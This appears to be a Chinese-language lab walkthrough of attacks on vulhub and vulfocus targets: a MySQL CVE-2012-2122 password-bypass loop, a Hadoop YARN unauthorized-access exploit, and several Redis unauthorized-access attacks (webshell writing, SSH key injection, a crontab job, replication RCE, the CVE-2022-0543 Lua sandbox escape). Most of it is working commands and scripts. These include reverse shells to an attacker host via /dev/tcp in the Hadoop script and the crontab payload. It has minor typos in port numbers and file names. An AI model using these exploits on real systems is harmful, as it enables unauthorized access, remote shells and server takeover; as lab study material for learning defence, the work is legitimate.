mysql
CVE-2012-2122
-
当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库。
受影响版本:
- MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.
- MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.
参考链接:
- www.freebuf.com/vuls/3815.h…
- blog.rapid7.com/2012/06/11/…
开启环境
靶机:192.168.138.128
攻击机:192.168.138.130
进去靶场目录下:vulhub/mysql/CVE-2012-2122
启动靶场环境:docker-compose up -d
查看环境端口号:docker-compose ps
攻击机访问:
漏洞验证
在不知道我们环境正确密码的情况下,在bash下运行如下命令,在一定数量尝试后便可成功登录:
for i in `seq 1 1000`; do mysql -uroot -pwrong -h your-ip -P3306 ; done
攻击机输入攻击命令
知道最后登录成功
mysql弱口令拆解(借助phpmyadmin)
ssh和rdp连接,支持外连的,可以爆破账号密码登录(使用hydra)
而爆破mysql,不支持外连,如果网页上有phpmyadmin的页面,通过phpmyadmin页面登录mysql内部登录。
Hadoop
未授权访问 内置配合命令执行 RCE
漏洞介绍
Hadoop是一个由Apache基金会所开发的分布式系统基础架构,由于服务器直接在开放了 Hadoop 机器 HDFS 的 50070 web 端口及部分默认服务端口,黑客可以通过命令行操作多个目录下的数据,如进行删除,下载,目录浏览甚至命令执行等操作,产生极大的危害。
漏洞利用
访问 http://ip:8088 即可看到Hadoop YARN ResourceManager WebUI页面(未授权访问漏洞)
启动靶场
这里用的是vluhub的hadoop靶场
启动靶场之后访问
访问 8088
端口,出现了以下界面
利用外网主机设置监听
搞一台外网主机
exp——python脚本:
开启监听端口7777
import requests
target = 'http://192.168.241.142:8088/'
lhost = 'your 监听 ip' # put your local host ip here, and listen at port 9999
url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
'application-id': app_id,
'application-name': 'get-shell',
'am-container-spec': {
'commands': {
'command': '/bin/bash -i >& /dev/tcp/%s/7777 0>&1' % lhost,
},
},
'application-type': 'YARN',
}
requests.post(url, json=data)
开启监听之后,在执行exp脚本
返回监听成功
执行whoami,执行成功
redis
命令行直接启动/停止/重启redis 可以直接通过下面的命令启动/停止/重启redis
/etc/init.d/redis-server start 启动redis服务 /etc/init.d/redis-server stop 停止redis服务 /etc/init.d/redis-server restart 重启redis服务
未授权访问
漏洞介绍
Redis默认情况下,会绑定在0.0.0.0:6379(在redis3.2之后,redis增加了protected-mode,在这个模式下,非绑定IP或者没有配置密码访问时都会报错),如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源ip访问等等,这样将会将Redis服务暴露在公网上,如果在没有设置密码认证(默认为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。
攻击者在未授权访问Redis的情况下,利用Redis自身的提供的config命令,可以进行写文件操作,攻击者还可以成功将自己的ssh公钥写入目标服务器的/root/.ssh文件的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务器登录目标服务器。
漏洞的产生条件有以下两点:
(1) Redis绑定在0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网
(2) 没有设置密码认证(默认为空)或者弱密码,可以免密码登录redis服务
条件:bind 127.0.0.1注释,显示主机可以尝试访问redis
默认安全模式关闭的
或者没有设置密码,空密码
漏洞复现
条件:
靶机:服务器的vulhub的redis靶场
开启ufw防火墙,开放6379端口(sudo ufw allow 6349),并且阿里云设置安全组设置6379端口对外开放
启动靶场
准备一个redis连接终端
端口扫描探测端口存活
nmap -p 6379 -Pn 靶机ip
能扫出来,表示开放3369端口
攻击机安装redis-cli远程连接工具
wget http://download.redis.io/redis-stable.tar.gz
tar -zxvf redis-stable.tar.gz
使用工具
cd redis-stable
make
cp src/redis-cli /usr/bin/
用redis-cli命令远程免密登录redis主机
# 无密码登录命令
redis-cli -h 目标主机IP
# 有密码登录命令
redis-cli -h 目标主机IP -p 端口6379 -a 登录密码
如果有密码就失败,提示需要身份验证
利用redis写webshell
攻击条件:
1.在攻击机上能用redis-cli连上
config set dir /tmp #设置 WEB 写入目录
config set dbfilename 1.php #设置写入文件名
set test "" #设置写入文件代码
save #保存执行
在tmp目录下写入一个1.php的木马文件:
在运行的容器中执行命令
docker ps -a,查询docker中的所有的容器id
docker exec -it 9bc4e01433e2 /bin/bash,进入id为9bc4e01433e2 的容器中
可以看到里边有1.php写入成功
注:写入文件内容时添加几个换行,是因为redis写入文件时会自带一些版本信息,若不换行可能会导致木马无法正常执行。
注意:判断是否有写入权限(低版本不能使用ACL命令)
使用SET命令尝试写入一个键值对,并观察服务器的响应。例如,你可以尝试执行以下命令:
SET testkey testvalue
如果服务器返回OK,则表示你有写入权限。如果服务器返回一个错误消息,如(error) READONLY You can't write against a read only replica.,则表示你没有写入权限。
2. 尝试执行一个写入操作的命令,如DEL或EXPIRE,并观察服务器的响应。例如,你可以尝试执行以下命令:
DEL testkey
如果服务器返回1或0,则表示你有写入权限。如果服务器返回一个错误消息,如(error) READONLY You can't write against a read only replica.,则表示你没有写入权限。
需要注意的是,使用这些方法只能判断当前连接的用户是否有写入权限,而不能确定特定键或命令的权限设置。
补充:当数据库过大时,redis写入shell小技巧
利用公私钥认证获取root权限
条件:redis服务器使用root账户登录
安全模式protected-mode关闭
允许使用密钥登录(即可远程写入一个公钥,直接远程登录服务器)
在攻击机(redis客户端)中生成ssh公钥和私钥,密码设置为空:ssh-keygen -t rsa
1.进入redis-stable工具中:cd redis-stable
2.生成公钥和私钥(密码直接回车为空):ssh-keygen -t rsa
3.进入/root/.ssh目录: 将生成的公钥保存到1.txt:(echo -e "nn"; cat id_rsa.pub; echo -e "nn") > 1.txt
ls -a:查看保存
4. 读取1.txt,用1.txt尝试连接服务器,内容设置为crack,就是先把密匙对先存储到对方服务器中,-p指定端口号,如果不是常见redis端口号
cat 1.txt | redis-cli -h 靶机ip -p 端口号 -x set crack
5.连接到目标主机上去,然后更改目标服务器Redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh):config set dir /root/.ssh
设置上传公钥的备份文件名字为authorized_keys:config set dbfilename authorized_keys
保存并退出:save,exit
6.攻击机使用ssh免密登录靶机,利用私钥成功登录redis服务器
进入/root/.ssh/ 目录里,然后连接:ssh -i id_rsa root@靶机ip
crontab计划任务getshell
靶机环境
使用的vluhub靶场没有安装[Crontab],需要自己安装
使用yum命令安装Crontab:
yum install vixie-cron
yum install crontabs
注:vixie-cron软件包是cron的主程序;
crontabs软件包是用来安装、卸装、或列举用来驱动 cron 守护进程的表格的程序。
cron是linux的内置服务,但它不自动起来,可以用以下的方法启动、关闭这个服务:
/sbin/service crond start #启动服务
/sbin/service crond stop #关闭服务
/sbin/service crond restart #重启服务
/sbin/service crond reload #重新载入配置
2.查看Crontab状态:
service crond status
ntsysv #查看crontab服务是否已设置为开机启动
chkconfig –level 35 crond on #加入开机自动启动
3.添加定时任务:
crontab -e #编辑cron任务模式
i #默认文字编辑器为vim,按i字母键即可添加cron任务
30 3 * * * /usr/local/etc/rc.d/lighttpd restart #将命令代码放入,此命令意义为每天的03:30 重启apach
ESC #按ESC键退出编辑模式
:wq #键入:wq保存
service crond restart #重启crontab服务
4.查看任务列表:
crontab -l
复现
靶机:192.168.1.142 攻击机:192.168.1.143
攻击机上先监听端口:
写入计划任务(连接时需要以root用户身份):
config set dir /var/spool/cron/crontabs
config set dbfilename root
set xxx "nnn*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.1.143/4444 0>&1nnn"
save
等待一分钟左右就会收到反弹shell了:
利用主从复制rce(python脚本)
Redis 未授权访问漏洞可以被利用来获取目标主机的控制权,其中一个利用方式是通过主从复制 RCE(远程代码执行)。成功利用此漏洞的 Redis 版本信息为 Redis 4.x 和 Redis 5.x,直到 Redis 5.0.5 和 Redis 6.0.0 的发布,这些版本修复了相关的安全漏洞。
在 Redis 4.x 和 Redis 5.x 的早期版本中,如果 Redis 服务未设置密码或弱密码,并且开启了主从复制功能,攻击者可以利用这个漏洞将恶意命令注入到从服务器中执行。此外,攻击者还需要从服务器的配置文件中开启了加载外部模块的功能,才能将恶意模块上传到从服务器并执行。最终,攻击者可以在从服务器上执行任意命令,如反弹 shell 等,获取目标主机的控制权。
这里使用vulfocus靶场:vulfocus.cn/
redis-cli -h ip -p 端口,可以进行连接存在未授权访问
直接用poc可以执行命令
攻击机:
git clone https://github.com/vulhub/redis-rogue-getshell.git
cd redis-rogue-getshell/RedisModulesSDK/exp
make
回到redis-rogue-getshell目录下
./redis-master.py -r 123.58.224.8 -p 35249 -L 攻击机ip -P 8888 -f RedisModulesSDK/exp/exp.so -c "whoami"
(第一个ip是靶机,第二个ip是攻击机)
执行whoami命令:
执行id命令
./redis-master.py -r 123.58.224.8 -p 35249 -L 攻击机ip -P 8888 -f RedisModulesSDK/exp/exp.so -c "id"
CVE-2022-0543(Redis 沙盒逃逸漏洞)
靶机,vulhub靶场的ip:192.168.138.128
攻击机:192.168.138.130
测试redis能不能远程连接
info
然后直接利用poc
poc
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
命令换成反弹shell命令,可以尝试getshell